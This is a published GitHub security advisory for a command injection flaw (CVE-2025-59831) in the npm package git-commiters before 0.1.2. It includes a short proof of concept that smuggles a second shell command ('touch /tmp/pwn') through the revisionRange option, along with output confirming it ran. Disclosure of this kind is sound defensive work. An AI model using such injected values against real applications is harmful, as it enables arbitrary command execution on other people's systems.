Skip to content

Command Injection vulnerability in `git-comitters`

High
snowyu published GHSA-g38c-wxjf-xrh6 Sep 21, 2025

Package

npm git-commiters (npm)

Affected versions

< 0.1.2

Patched versions

0.1.2

Description

Command Injection vulnerability in git-comitters

git-commiters describes itself as:

function module providing committers stats for your git repository

Resources:

Background on the vulnerability

I'm reporting a Command Injection vulnerability in git-commiters npm package.

This vulnerability manifests with the library's primary exported API: gitCommiters(options, callback)
which allows specifying options such as cwd for current working directory and revisionRange as a revision pointer, such as HEAD.
However, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments
and as such, uncontrolled user input is concatenated into command execution.

Exploit

  1. Install [email protected] or earlier
  2. Initialize a new Git directory with commits in it
  3. Create the following script in that directory:
var gitCommiters = require("git-commiters");

var options = {
  cwd: "./",
  revisionRange: "HEAD; touch /tmp/pwn; #",
};
gitCommiters(options, function (err, result) {
  if (err) console.log(err);
  else console.log(result);
});
  1. Observe new file created on disk at /tmp/pwn

The git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.

@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js
[
  {
    email: '[email protected]',
    name: 'Morton Fox',
    deletions: 1,
    insertions: 1,
    commits: 1
  },
  {
    email: '[email protected]',
    name: 'Riceball LEE',
    deletions: 11,
    insertions: 1198,
    commits: 7
  }
]

@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn
-rw-r--rw- 1 codespace codespace 0 Jul  1 06:09 /tmp/pwn

Credit

Liran Tal

Severity

High

CVE ID

CVE-2025-59831

Weaknesses

Improper Neutralization of Special Elements used in a Command ('Command Injection')

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. Learn more on MITRE.

Credits